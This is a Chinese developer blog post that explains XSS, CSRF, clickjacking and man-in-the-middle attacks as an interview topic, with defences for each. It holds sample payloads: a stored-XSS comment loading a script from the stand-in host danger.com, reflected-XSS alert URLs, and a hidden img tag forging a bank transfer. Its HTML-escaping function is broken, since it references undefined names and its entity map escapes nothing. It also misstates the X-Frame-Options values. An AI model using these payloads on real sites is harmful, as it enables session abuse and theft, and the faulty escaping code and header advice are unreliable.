大家好,我是若川。今天分享一篇安全相關的文章。
點擊下方卡片關注我、加個星標,或者查看源碼等系列文章。學習源碼整體架構系列、年度總結、JS基礎系列
如果你被面試官問到這個問題,不要急于描述自己遇到的問題以及如何處理的,你得先去理解問題中的潛臺詞。“做過哪些措施”更深層的意思是“你熟悉哪些攻擊方式,知道哪些解決方案?”當然,不可能把每次做的安全防范措施都一一的說給面試官聽, 這樣顯得沒有重點。
「做哪些安全防范」換個思維思考“有哪些攻擊方式?”,那么我們就可以基于攻擊方式的分類,來討論究竟有哪些防范攻擊的措施。
從而可以梳理出關于這個問題回答的思路:

XSS 攻擊
按照之前說的思路,先講概念,說用途
什么是XSS攻擊
XSS即Cross Site Scripting
(跨站腳本攻擊),指的是攻擊者想盡一切辦法將一些可執行的代碼注入到網頁中,利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。為了不和層疊樣式表CSS混淆,故將其縮寫為 XSS
XSS 可以分為:存儲型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。
存儲型
存儲型也就是攻擊的代碼被服務端寫入進數據庫中,這種攻擊危害性很大,因為如果網站訪問量很大的話,就會導致大量正常訪問頁面的用戶都受到攻擊。
這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。具有攻擊性的腳本被保存到了服務器并且可以被普通用戶完整的從服務的取得并執行,從而獲得了在網絡上傳播的能力。
反射型
反射型也叫非持久型,相比于前者危害就小一些,一般通過修改 URL 參數的方式加入攻擊代碼,誘導用戶訪問鏈接從而進行攻擊。
這種常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。
二者區別:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。
舉兩個案例幫助更好的理解:當我們在做商品評論時,用戶輸入的內容未經過過濾直接保存到數據庫中。
攻擊者可以構建一條評論, 包含惡意內容:
質量非常不錯!<script?src="danger.com/spread.js"></script>
當你的評論列表被用戶瀏覽時, 直接從服務端取出,回填到HTML響應中:
<li>質量非常不錯!<script?src="danger.com/spread.js"></script></li>
那么瀏覽器會加載執行惡意腳本danger.com/spread.js
, 在惡意腳本中利用用戶的登錄狀態發更多的帶有惡意評論的URL, 誘導更多人點擊,層層傳播,放大攻擊范圍。
這個案例就是一個典型的存儲型XSS攻擊。再來看一個反射型攻擊案例:
某天小范開發了一個搜索頁面,通過用戶輸入搜索內容,展示相應的數據:
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>http://localhost:8080/helloController/search?name=<img?src='w.123'?onerror='alert("hey!")'>http://localhost:8080/helloController/search?name=<a?onclick='alert("hey!")'>點我</a>
有時攻擊者會偽造一個圖片,讓你點擊后鏈接跳轉URL。
對于這種攻擊方式來說,如果用戶使用的是Chrome 瀏覽器的話,瀏覽器已經幫助用戶做了防御攻擊。但是我們也不能說就不防御了,因為無法保證用戶都是用有防御攻擊的瀏覽器。
XSS攻擊如何進行防范
我們講了這么XSS的原理和危害,那么我們在日常開發當中到底該如何預防呢?
1.輸入輸出過濾
一切用戶輸入
皆不可信,在輸出時進行驗證,一般做法是將 ‘ ” < > & 這些個危險字符進行轉義。
const?signs?=?{'&':?'&','<':?'<','>':?'>','"':?'"',"'":?'''
}
const?signReg?=?/[&<>"']/g
function?escape(string)?{return?(string?&&?reUnescapedHtml.test(string))??string.replace(reUnescapedHtml,?(chr)?=>htmlEscapes[chr]):?string}?
通過轉義<script></script>
將被轉義成<script></script>
;
對于URL地址的轉義可以使用
encodeURI
,當你需要編碼URL中的參數的時候,那么encodeURIComponent
是最好方法。
上面對字符進行轉義的方式很明顯并不適用于所有場景,比如富文本,這樣會將需要的格式都過濾掉。因為HTML標簽種類繁多,基于黑名單的過濾方法考慮的并不全面,所以我們可以根據白名單過濾HTML, 可以借助xss.js
來完成:
//?瀏覽器
<script?src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>
使用:
filterXSS('<h1?id="title">XSS?Demo</h1><script?type="text/javascript">alert(/xss/);</script>
<p?class="text-center">Whitelist</p>')
輸出結果:
<h1>XSS?Demo</h1><script?type="text/javascript">alert(/xss/);</script>
<p>Whitelist</p>
如果后端直接將字符串存入數據庫也是不妥的,后端也必須做處理,因為發送到后端的內容還可以通過其他方式, 前端處理并不能保障安全。
2. Cookie 的 HttpOnly
當用戶的登錄憑證存儲于服務器的 session
中,而在瀏覽器中是以 cookie
的形式存儲的。很多XSS攻擊目標都是竊取用戶cookie
偽造身份認證。
可以通過在 cookie
中設置 HttpOnly
屬性,js腳本將無法讀取到 cookie 信息。
ctx.cookies.set(name,?value,?{httpOnly:?true?//?默認為?true
})
3. CSP(內容安全策略)
CSP (Content Security Policy,內容安全策略)是 W3C 提出的 ,本質上就是白名單制度,開發者明確告訴瀏覽器哪些外部資源可以加載和執行。它的實現和執行全部由瀏覽器完成,我們只需提供配置。
CSP 大大增強了網頁的安全性。攻擊者即使發現了漏洞,也沒法注入腳本,除非還控制了一臺列入了白名單的可信主機。
兩種方法可以啟用 CSP:
一種是通過 HTTP 頭信息的
Content-Security-Policy
的字段另一種是通過網頁的
<meta>
標簽
方式1舉例
Content-Security-Policy:?default-src?‘self’
表示只允許加載本站資源
Content-Security-Policy:?default-src?https://demo.example.cn?https://demo.example2.cn;?object-src?'none'
CSP 的值中,不同屬性以 ;
隔開,同一屬性的多個值以空格隔開。上面例子的意思就是默認允許讀取 https://demo.example.cn
和https://cdn.example2.net
的資源,object-src
使用的相關資源無白名單,也就是完全不允許讀出。
如果使用了不符合要求的資源,瀏覽器會給予攔截,給出下面提示:
Refused?to?execute?inline?script?because?it?violates?the?following?Content?Security?Policy?directive
我們也可以使用 meta
標簽代替 HTTP 頭:
<metahttp-equiv="Content-Security-Policy"content="default-src?https://cdn.example.net;?child-src?'none';?object-src?'none'"
/>
Content-Security-Policy
的常用選項有這些:
default-src: 是 src 選項的默認值,但不能覆蓋以下值:
base-uri
、form-action
、frame-ancestors
、plugin-types
、report-uri
、sandbox
base-uri:特別說一下
<base>
標簽是因為孤陋寡聞的我第一次見到。指定用于一個文檔中包含的所有相對 URL 的根 URL,一個文件只能有一個<base>
標簽,用起來大概是這樣的:<base target="_top" href="http://www.example.com/">
。connect-src: XHR、WebSockets 等連接使用的地址
font-src:字體文件來源
img-src:圖片地址
media-src:音視頻地址
object-src:Flash 相關
report-uri:出現報錯時提交到指定 uri,不能在 ?標簽使用
style-src:樣式文件
CSRF 攻擊
除了上面說的XSS攻擊外,還有一種常見的攻擊方式:CSRF攻擊。
什么是CSRF攻擊
CSRF:跨站點請求偽造(Cross-Site Request Forgeries),也被稱為 one-click attack 或者 session riding。冒充用戶發起請求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息,刪除評論等)。
舉個例子,好友小A在銀行存有一筆錢,輸入用戶名密碼登錄銀行賬戶后,發送請求給xiaofan
賬戶轉888:
http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan
轉賬過程中, 小A不小心打開了一個新頁面,進入了黑客(xiaohei
)的網站,而黑客網站有如下html代碼:
<html><!--其他內容--><img?src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei?width='0'?height='0'><!--其他內容-->
</html>
這個模擬的img請求就會帶上小A的session值, 成功的將888轉到xiaohei的賬戶上。例子雖然是get,post請求提交表單同樣會被攻擊。
CSRF攻擊的特點:
通常發生在第三方網站
攻擊者不能獲取cookie等信息,只是使用
如何防御
驗證碼:強制用戶必須與應用進行交互,才能完成最終請求。此種方式能很好的遏制 CSRF,但是用戶體驗相對差。
盡量使用 post ,限制 get 使用;上一個例子可見,get 太容易被拿來做 CSRF 攻擊,但是 post 也并不是萬無一失,攻擊者只需要構造一個form就可以。
Referer check:請求來源限制,此種方法成本最低,但是并不能保證 100% 有效,因為服務器并不是什么時候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風險。
token:token 驗證的 CSRF 防御機制是公認最合適的方案。
CSRF 與 XSS 區別
通常來說 CSRF 是由 XSS 實現的,CSRF 時常也被稱為 XSRF(CSRF 實現的方式還可以是直接通過命令行發起請求等)。
本質上講,XSS 是代碼注入問題,CSRF 是 HTTP 問題。XSS 是內容沒有過濾導致瀏覽器將攻擊者的輸入當代碼執行。CSRF 則是因為瀏覽器在發送 HTTP 請求時候自動帶上 cookie,而一般網站的 session 都存在 cookie里面。XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。
點擊劫持
點擊劫持(click hijacking)也稱為 UI 覆蓋攻擊。它通過一些內容(如游戲)誤導被攻擊者點擊,雖然被攻擊者點擊的是他所看到的網頁,但其實所點擊的是另一個置于原網頁上面的透明頁面。
根據先點擊劫持原理示意圖,分析典型點擊劫持攻擊流程:

攻擊者構建了一個非常有吸引力的網頁
將被攻擊的頁面放置在當前頁面的 iframe 中
使用樣式將 iframe 疊加到非常有吸引力內容的上方
將iframe設置為100%透明
用戶在不知情的情況下點擊按鈕,觸發執行一些其他命令。
如何防御
點擊劫持攻擊需要首先將目標網站載入到惡意網站中,使用 iframe 載入網頁是最有效的方法。
所以可以設置我們的網頁不允許使用iframe被加載到其他網頁中就可以避免這種情況了,我們可以通過在響應頭中設置X-Frame-Options
(服務器端進行),X-Frame-Options
可以設置以下三個值:
DEBY
:不允許任何網頁使用iframe加載我這個頁面。SAMEORIGIN
:只允許在相同域名(也就是自己的網站)下使用iframe加載這個頁面。ALLOWED-FROM origin
: 允許任何網頁通過iframe加載我這個網頁。
這種方式在一些老舊的瀏覽器上是不支持的,具體可以通過can i use
去查看
中間人攻擊
中間人(Man-in-the-middle attack, MITM)是指攻擊者和通訊的兩端分別創建獨立的聯系,并交換其得到的數據,攻擊者可以攔截通信雙方的通話并插入新的內容。

一般的過程如下:
客戶端發送請求到服務端,請求被中間?截獲
服務器向客戶端發送公鑰
中間?截獲公鑰,保留在???上。然后???成?個【偽造的】公鑰,發給客戶端
客戶端收到偽造的公鑰后,?成加密hash值發給服務器
中間?獲得加密hash值,???的私鑰解密獲得真秘鑰,同時?成假的加密hash值,發給服務器
服務器?私鑰解密獲得假密鑰,然后加密數據傳輸給客戶端
如何防御
采用HTTPS通信可以防御中間人攻擊, 但是使用HTTPS并不就絕對安全,一方面你要完全關閉HTTP通信,如果沒有完全關閉,攻擊者可以通過某些方式將HTTPS 降級為HTTP,從而實現中間人攻擊。
其次使用HTTPS通信,開發時也不要忽視證書的校驗,或者對于非法證書不進行處理,這樣也容易被中間人攻擊。這里給大家推薦文章 HTTPS中間人攻擊實踐(原理?實踐)
為什么有些軟件如Fiddler可以還原https報文?
Fiddler是通過中間代理的方式抓取報文,還原https報文的前提是在客戶端的根證書列表下加入Fiddler生成的CA根證書。這樣Fiddler就成為CA,可以偽造數字證書,偽裝成服務器。但是只能用于測試,不能實現真正意義上的竊取數據。
總結
以上是我們平時開發過程中一些常見的前端安全方面的知識以及我們應該如何防御這些攻擊。但是安全的領域相當大,這些內容只是滄海一粟,如果需要深入學習安全防御方面的知識,這是遠遠不夠的。
參考文章:
https://juejin.cn/post/6844904100945985543#heading-10
http://www.atguigu.com/mst/html/gp/17649.html
https://wurh.github.io/2019/03/29/20190401/
https://www.cabeza.cn/blog/2019/05/14/web-security-xss/
最近組建了一個江西人的前端交流群,如果你也是江西人可以加我微信 ruochuan12 拉你進群。
·················?若川出品?·················
今日話題
略。歡迎在下方留言~? 歡迎分享、收藏、點贊、在看我的公眾號文章~
一個愿景是幫助5年內前端人走向前列的公眾號
可加我個人微信?ruochuan12,長期交流學習
推薦閱讀
我在阿里招前端,我該怎么幫你?(現在還能加我進模擬面試群)
若川知乎問答:2年前端經驗,做的項目沒什么技術含量,怎么辦?
點擊上方卡片關注我、加個星標,或者查看源碼等系列文章。
學習源碼整體架構系列、年度總結、JS基礎系列